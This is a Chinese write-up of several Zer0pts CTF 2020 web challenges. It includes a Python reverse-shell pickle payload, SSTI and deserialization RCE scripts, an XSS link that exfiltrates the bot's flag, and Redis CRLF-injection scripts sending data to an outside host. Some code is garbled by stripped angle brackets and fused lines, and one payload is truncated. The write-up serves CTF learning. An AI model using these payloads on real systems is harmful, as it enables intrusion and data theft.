Zer0pts CTF 2020的web赛后记录+复现环境_新闻资讯-网盾安全培训

前言

最近打了Zer0pts CTF 2020感觉题目不错就总结一下。

复现环境地址：

https://gitlab.com/zer0pts/zer0pts-ctf-2020/

0x01 notepad

1.题目源码：

...省略...

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)

@app.route('/', methods=['GET'])
def index():
    return notepad(0)

@app.route('/note/int:nid>', methods=['GET'])
def notepad(nid=0):
    data = load()

    if not 0 = nid  len(data):
        nid = 0

    return flask.render_template('index.html', data=data, nid=nid)

...省略...

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = 'html>head>meta http-equiv="Refresh" content="3;URL={}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>'.format(referrer)

    return flask.render_template_string(html), 404

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True

def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data
...省略...

2.方法一：

处理404页面的page_not_found()函数存在模板注入：

@app.errorhandler(404)def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = 'html>head>meta http-equiv="Refresh" content="3;URL={}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>'.format(referrer)

    return flask.render_template_string(html), 404

referer可控，但是限制了长度。所以利用这里的SSTI可以读取一些配置，但是不能直接RCE。

GET /404 HTTP/1.1
Host: 192.168.0.107:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107:8001/?{{config}}
Connection: close
Upgrade-Insecure-Requests: 1

响应的结果如下：

HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 1631
Server: Werkzeug/0.16.0 Python/3.7.3rc1
Date: Wed, 18 Mar 2020 17:25:11 GMT

html>head>meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?Config {ENV: production, DEBUG: False, TESTING: False, PROPAGATE_EXCEPTIONS: None, PRESERVE_CONTEXT_ON_EXCEPTION: None, SECRET_KEY: bE\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea, PERMANENT_SESSION_LIFETIME: datetime.timedelta(days=31), USE_X_SENDFILE: False, SERVER_NAME: None, APPLICATION_ROOT: /, SESSION_COOKIE_NAME: session, SESSION_COOKIE_DOMAIN: False, SESSION_COOKIE_PATH: None, SESSION_COOKIE_HTTPONLY: True, SESSION_COOKIE_SECURE: False, SESSION_COOKIE_SAMESITE: None, SESSION_REFRESH_EACH_REQUEST: True, MAX_CONTENT_LENGTH: None, SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(seconds=43200), TRAP_BAD_REQUEST_ERRORS: None, TRAP_HTTP_EXCEPTIONS: False, EXPLAIN_TEMPLATE_LOADING: False, PREFERRED_URL_SCHEME: http, JSON_AS_ASCII: True, JSON_SORT_KEYS: True, JSONIFY_PRETTYPRINT_REGULAR: False, JSONIFY_MIMETYPE: application/json, TEMPLATES_AUTO_RELOAD: None, MAX_COOKIE_SIZE: 4093, BOOTSTRAP_USE_MINIFIED: True, BOOTSTRAP_CDN_FORCE_SSL: False, BOOTSTRAP_QUERYSTRING_REVVING: True, BOOTSTRAP_SERVE_LOCAL: False, BOOTSTRAP_LOCAL_SUBDOMAIN: None}">title>404 Not Found/title>/head>body>Page not found. Redirecting.../body>/html>

得到的secret_key为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'，因此我们可以伪造session的值。

第二个洞是python反序列化：

...import pickle
...
@app.route('/note/int:nid>', methods=['GET'])
def notepad(nid=0):
    data = load()

    if not 0 = nid  len(data):
        nid = 0

    return flask.render_template('index.html', data=data, nid=nid)
...
def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data
...

flask用的是客户端的session，因此这里的pickle.loads()的参数可控。显然，解题的思路就是用上面我们读到的secret_key伪造session，然后触发pickle反序列化，导致RCE。

payload如下：

from flask.sessions import SecureCookieSessionInterfaceimport os, sys, pickle, base64, requests

COMMAND = "bash -c 'bash -i >

3.方法二：

通常python反序列化可以直接反弹shell:

import osimport pickle

class Exp(object):
    def __reduce__(self):
        cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system, (cmd,))

exp = Exp()
result = pickle.dumps(exp)
print(result)
data=pickle.loads(result)
print(data)

假设题目不能通外网，那么这道题目怎么解决？

在flask中其实也可以在反序列化中再嵌套模板注入来实现直接回显RCE:

class Exp(object):
    def __reduce__(self):
        return (
            render_template_string,("{{payload}}",)
        )

由于题目环境是python3因此我们给出下面的几个python3常用的payload：

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

不过这题还有个问题：

@app.route('/note/int:nid>', methods=['GET'])def notepad(nid=0):
    data = load()

    if not 0 = nid  len(data):
        nid = 0

    return flask.render_template('index.html', data=data, nid=nid)

我们return的render_template_string()是传给了data，然后在传入后面的render_template()，并没有直接让请求结束，返回结果。而render_template_string()是个字符串，在index.html模板里遍历输出：

ul class="nav nav-list affix">
            {% for note in data %}
            li{% if loop.index0 == nid %} class="active"{% endif %}>a href="/note/{{ loop.index0 }}">{{note.title}}/a>/li>
            {% endfor %}
            hr>
            li>a href="/reset" class="btn btn-danger">Reset All/a>/li>
        /ul>

所以我们可以通过这种方式构造回显，结果如下：

v2-31e4409f517bb26dcc918f170eee1b24_720w

由于字符串有多长就会遍历多少次，所以我们的思路是利用显示的长度来进行注入。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}

如果flag的第一个字符是a，就会遍历输出97个li>。

solve.py:

from flask.sessions import SecureCookieSessionInterfaceimport os, sys, pickle, base64, requests
from flask import render_template_string
import re

class Exploit(object):
    def __init__(self, pos):
        self.temp = """
        {% for c in [].__class__.__base__.__subclasses__() %}
        {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }}
        {% endif %}
        {% endfor %}
        """.replace('pos', pos)

    def __reduce__(self):
        return (
            render_template_string, (self.temp,))

class App(object):
    def __init__(self):
        self.secret_key = None

app = App()
app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2'

si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)

regex=r'li>a href="/note/(\d+)">.*/a>/li>'
flag=''

for i in range(0,40):
    session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))})

    resp=requests.get('http://192.168.220.157:8001/', cookies={
        'session': session
    });
    find=re.findall(regex,resp.text)

    print(find)
    if find:
        flag+=chr(int(find[find.__len__()-1])+1)

print(flag)

0x02 MusicBlog

源码里给了个浏览器的bot脚本，worker.js：

// (snipped)

const flag = 'zer0pts{censored>}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

该脚本的功能是设置flag在浏览器的UA里，并且点击id为like的标签。

接下来当我们登陆后我们可以在new_post.php的content字段中插入html标签。

form action="/new_post.php" method="POST">
            div class="form-group">
              label for="title">Title/label>
              input type="text" class="form-control" id="title" name="title">
              small class="form-text text-muted">format: code>/^[0-9A-Za-z ]+$//code>/small>
            /div>
            div class="form-group">
              label for="content">Content/label>
              textarea class="form-control" id="content" name="content" rows="5">/textarea>
              small class="form-text text-muted">Note: code>[[URL]]/code> will be replaced by audio player./small>
            /div>
          /form>

但是有过滤，只允许audio>标签。

?php// [[URL]] → audio src="URL">/audio>
function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', 'audio controls src="\\1">/audio>', $str);
  $str = strip_tags($str, 'audio>'); // only allows `audio>`
  return $str;
}

而audio>受以下CSP的限制，无法跨域请求：

?phperror_reporting(0);

require_once 'config.php';
require_once 'util.php';

$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');

session_start();

不过我们可以看到上面使用了strip_tags()这个函数，不过这个函数有个bug，参考链接如下：

https://bugs.php.net/bug.php?id=78814

它允许标签里出现斜线，猜测这是为了匹配闭合标签的。但是没有判断斜线的位置，在哪出现都可以：

root@kali:~# php -r "var_dump(strip_tags('a/udio>','audio>'));"
string(8) "a/udio>"

显然a/udio>在浏览器里会解析成a>标签，而超链接的跳转不受CSP的限制。

payload如下：

a/udio id=like href=//xxx.xx/>x

而且我们输入的内容是在第一个点赞按钮的上面，因此bot将会点击我们构造的标签。当bot点击我们构造的标签时，将会把flag带出。最后拿到的flag是：zer0pts{M4sh1m4fr3sh!!}。这题还是比较简单的。

0x03 urlapp

方法一：

题目源码：

...省略...

def connect()
  sock = TCPSocket.open("redis", 6379)

  if not ping(sock) then
    exit
  end

  return sock
end

def query(sock, cmd)
  sock.write(cmd + "rn")
end

def recv(sock)
  data = sock.gets
  if data == nil then
    return nil
  elsif data[0] == "+" then
    return data[1..-1].strip
  elsif data[0] == "$" then
    if data == "$-1rn" then
      return nil
    end
    return sock.gets.strip
  end

  return nil
end

def ping(sock)
  query(sock, "ping")
  return recv(sock) == "PONG"
end

def set(sock, key, value)
  query(sock, "SET #{key} #{value}")
  return recv(sock) == "OK"
end

def get(sock, key)
  query(sock, "GET #{key}")
  return recv(sock)
end

before do
  sock = connect()
  set(sock, "flag", File.read("flag.txt").strip)
end

get '/' do
  if params.has_key?(:q) then
    q = params[:q]
    if not (q =~ /^[0-9a-f]{16}$/)
      return
    end

    sock = connect()
    url = get(sock, q)
    redirect url
  end

  send_file 'index.html'
end

post '/' do
  if not params.has_key?(:url) then
    return
  end

  url = params[:url]
  if not (url =~ URI.regexp) then
    return
  end

  key = Random.urandom(8).unpack("H*")[0]
  sock = connect()
  set(sock, key, url)

  "#{request.host}:#{request.port}/?q=#{key}"
end

功能很简单，就是个URL缩短，用redis作存储。

漏洞也是很明显，url可控，可以通过CRLF注入直接操作redis。

v2-eaab1ab4cdd8241bbc97d92c0838c66f_720w

现在我们直接用CRLF注入构造一个完整的url，由于最后会重定向因此可以在自己的服务器上收到flag。

脚本如下：

import requests

url='http://192.168.220.154:8004/'

query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'}
r = requests.post(url, data=query)
code = r.content[-16:]
print code

p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"
p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)
query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2}
r = requests.post(url, data=query)

r = requests.get(url + '?q={}'.format(code))

# script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;"
# evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18

结果如下：

Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352)
GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0

如有什么不明白的可以参考下面的链接。

方法二：

跟上面差不多，不过这次我们不用这么麻烦了直接设置一个上面可以get的键在构造一个可以重定向的url即可。

import requests

url = 'http://192.168.220.154:8004/'

query = {
    'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0'
}
r = requests.post(url, data=query)
code = r.content[-16:]
print code

r=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661')
print r.url

结果如下：

Listening on [0.0.0.0] (family 0, port 5478)
Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741)
GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxxx
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0

0x04 phpNantokaAdmin

题目简介：

phpNantokaAdmin is a management tool for SQLite.

题目源码：

index.php

?phpinclude 'util.php';
include 'config.php';

error_reporting(0);
session_start();

$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');
$page = (string) ($_GET['page'] ?? 'index');
...省略...

if (in_array($page, ['insert', 'delete']) 
}

if (isset($_SESSION['database'])) {
  $pdo = new PDO('sqlite:db/' . $_SESSION['database']);
  $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name > '" . FLAG_TABLE . "' LIMIT 1;");
  $table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

  $stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");
  $column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

if ($page === 'insert' 
  $stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");
  $stmt->execute($values);
  redirect('?page=index');
}

if ($page === 'create' 
  }

  $table_name = (string) $_POST['table_name'];
  $columns = $_POST['columns'];
  $filename = bin2hex(random_bytes(16)) . '.db';
  $pdo = new PDO('sqlite:db/' . $filename);

  if (!is_valid($table_name)) {
    flash('Table name contains dangerous characters.');
  }
  ...省略...

  $sql = "CREATE TABLE {$table_name} (";
  $sql .= "dummy1 TEXT, dummy2 TEXT";
  for ($i = 0; $i  count($columns); $i++) {
    $column = (string) ($columns[$i]['name'] ?? '');
    $type = (string) ($columns[$i]['type'] ?? '');

    if (!is_valid($column) || !is_valid($type)) {
      flash('Column name or type contains dangerous characters.');
    }
    if (strlen($column)  1 || 32  strlen($column) || strlen($type)  1 || 32  strlen($type)) {
      flash('Column name and type must be 1-32 characters.');
    }

    $sql .= ', ';
    $sql .= "`$column` $type";
  }
  $sql .= ');';

  $pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
  $pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
  $pdo->query($sql);

  $_SESSION['database'] = $filename;
  redirect('?page=index');
}
...省略...
if ($page === 'index' ");

  if ($stmt === FALSE) {
    $_SESSION = array();
    session_destroy();
    redirect('?page=index');
  }

  $result = $stmt->fetchAll(PDO::FETCH_NUM);
}
?>
!doctype html>
html lang="en">

...省略...

?php if ($page === 'index') { ?>
?php if (isset($_SESSION['database'])) { ?>
    h2>?= e($table_name) ?> (a href="?page=delete">Delete table/a>)/h2>
    form action="?page=insert" method="POST">
      table>
        tr>
?php for ($i = 0; $i  count($column_names); $i++) { ?>
          th>?= e($column_names[$i]['name']) ?>/th>
?php } ?>
        /tr>
?php for ($i = 0; $i  count($result); $i++) { ?>
        tr>
?php for ($j = 0; $j  count($result[$i]); $j++) { ?>
          td>?= e($result[$i][$j]) ?>/td>
?php } ?>
        /tr>
?php } ?>
        tr>
...省略...

util.php

?php...省略...

function is_valid($string) {
  $banword = [
    // comment out, calling function...
    "[\"#'()*,\\/\\\\`-]"
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $string)) {
    return false;
  }
  return true;
}

首先我们需要了解三个小知识。

第一个：

我们在使用sqlite语法的时候列名是可以加方括号的，是为了和mysql语法兼容。例如：

select [sql] from sqlite_master;

第二个：

我们在使用sqlite_master时使用错误的语法，sqlite将会忽略后面列的名称，无论列的名称是否真实的存在，除非在列之间放置,。

create table sometbl (somecol INT);
insert into sometbl values(1);
select somecol from sometbl;
// 1
select somecol somecoaaaal from sometbl;
// 1

第三个：

我们在使用sqlite语法时，用该语句create table ..as select ..创建表时可以不用带括号。例如：

create table sometbl2 as select 2;
select * from sometbl2;
2

通过阅读上面的源代码，我们发现table_name和columns参数存在SQL注入，但是我们不知道flag的表名和列名。每个sqlite都有一个自动创建的库sqlite_master，里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。

利用第三个知识点，在创建表时可以用as来复制另一个表中的数据。这里我们就可以用as select sql from sqlite_master来复制sqlite_master的sql字段。

还有就是，这里拼接的这一串字符是在as后面的，会影响后面的sql正常执行。

v2-30e7d04ad2ea01d6a2c6272c59e26608_720w

因为后面的$column也是可控的，所以这里可以用as "..."来把这一段干扰字符闭合到查询的别名里。双引号被过滤了，在sqlite中可以用中括号[]来代替。

payload如下：

table_name=aaa as select sql as[?phpinclude 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
...省略...

通过阅读上面的代码，我们唯一可以利用的点是highlight_file()，它可以用来显示代码，我们的目标是利用它来读取config.php文件，由于flag在里面。但是有一个过滤：

?phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

由于'/config\.php\/*$/i'的过滤我们就不能直接用/index.php/config.php?source来显示config.php文件。

我们知道$_SERVER['PHP_SELF']是可控的值，相对于根目录。

v2-4abd9c51453a42da41f4bb23772f74e5_720w

上面还有一个比较明显的漏洞就是basename()函数，它会忽略后面的[\x80-\xff]范围内的字符串。例子如下：

php -r 'print(basename("index.php/config.php/\x80"));' // config.php
php -r 'print(basename("\x80index.php/config.php"));' // config.php

结合上面的两点，我们的payload如下：

http://3.112.201.75:8003/index.php/config.php/%80?source

结果如下：

?phpdefine('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

0x06 参考链接：

https://balsn.tw/ctf_writeup/20200307-zer0ptsctf/#notepad

https://security.tencent.com/index.php/blog/msg/106

https://www.mi1k7ea.com/2020/03/05/Redis%E5%AE%89%E5%85%A8%E5%B0%8F%E7%BB%93/

http://redisdoc.com/script/eval.html

https://blog.csdn.net/xiaojin21cen/article/details/88621540

声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！

v2-77dbbb1662bb858100caf12047c477d5_720w